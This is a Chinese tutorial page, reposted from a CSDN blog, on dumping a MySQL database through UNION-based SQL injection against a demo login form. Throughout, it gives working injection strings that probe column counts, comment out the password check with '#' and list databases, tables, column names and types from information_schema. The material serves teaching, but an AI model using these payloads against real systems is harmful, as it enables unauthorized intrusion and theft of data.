当前位置:Gxlcms > 数据库问题 > 如何利用sql注入进行爆库

如何利用sql注入进行爆库

时间:2021-07-01 10:21:17 帮助过:113人阅读

  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

唯一的要求就是两个SELECT语句的列数要相等。

有了UNION语句,就可以将SELECT * from userinfo WHERE ...和 SELECT * from lyt_test.accounts两个结果联合起来。

等等,作为一个黑客,没有拿到源代码,怎么知道SELECT * from userinfo查询结果有多少列呢? 
显然是不知道的,但可通过试探方法拿到这个数值:依次注入UNION SELECT 1, ... N这样的语句来试探。先尝试SELECT 1, 再SELECT 1,2, 然后SELECT 1,2,3,直到不运行出错为止。可以先在MySQL上测试一下,结果下图所示:

技术分享

从上图测试结果可知UNION后面跟的SELECT结果必须是两列,否则会出错。

对了,还记得注入时WHERE后是两个条件吗?(name = ‘nameANDpasswd=passswd ‘),在实际代码中可能会是更复杂的条件,甚至黑客也很难猜测的条件,那这个UNION语然该插在那个变量呢?使得整个SQL还是个合法的查询语句。

最好安全的做法是将UNION SELECT ...注入到第一个变量中,然后注入的尾部增加一个注释符号,将后的语句注释掉,就不会考虑后面的是什么语句了。在MySQL数据库,使用#符号即可实现注释。

说了这么多,可以做一下注入测试,验证一下:

username文本框中输入:ivan‘ union select 1,2#,如下图:

技术分享

login 按钮后的运行结果如下图所示:

技术分享

请留注下红框中生成的SQL语句:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”

#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2

select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。

好了 ,UNION#就是撬动爆库的那个支点

实践爆库

万事俱备,只欠东风。那就让吹起东风吹起来吧,吹得更猛烈一些。

以下实验都是基于《SQL注入基础》一文开发的数据库应用demo来实验的,如果读者没有SQL注入的基础知识,建议看看这篇文章;同时建议SQL注入的初学者也按此文搭建相同的数据应用demo来实验测试一把。

爆数据库列表

username中注入:

ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #

即可查询所有数据库列表如下图:

技术分享

图示标红色框的就是数据库列表。我们在UNION SELECT ...语句中第一列为常数1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME这一列,它刚好就是数据库名。

爆某个数据库下的所有表名

为了精减输出结果,这里只爆lyt_test数据库下的表名,往username中注入:

ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#

即可查询得lyt_test数据库下所有表,如下图所示:

技术分享

不同的地方是lyt_test数据库下只有accounts一个表,其它与爆数据库原理相同,不作过多解释。

爆某个表下所有字段

这里只爆accounts表下的所有字段,往username中注入:

ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #

结果如下图所示:

技术分享

标红的是字段名。那么类型呢? 修改注入内容为:

ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #

就可以获取字段类型信息,如下图所示:

技术分享

标红色的分别是前面两个字段的类型,即ID类型为charbalance类型为float

从上面可以发现规律:每个注入可以获取到目标表中的每个列表数据, 如果表中有N表,注入N次可以获取完整的表信息。

爆某个表下的所有记录

这里就不写的,读者可以自己练习一下,原来跟上面完全一样。

总结

原来SQL注入爆数据库是这么容易的,但有几个必备条件

  1. MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库->表->字段关系树
  2. SQL语言提供了UNION语句,可以新增窃取其它数据合并到被注入SELECT结果
  3. MySQL对SQL做扩展,提供注释符#,让注入可以为所欲为

爆库的精髓掌握了吗?快来试试。

 

 

 

 

注:本文转自http://blog.csdn.net/linyt/article/details/52966555#

如何利用sql注入进行爆库

标签:article   src   accounts   读者   命令   软件测试   类型   inf   ber   

人气教程排行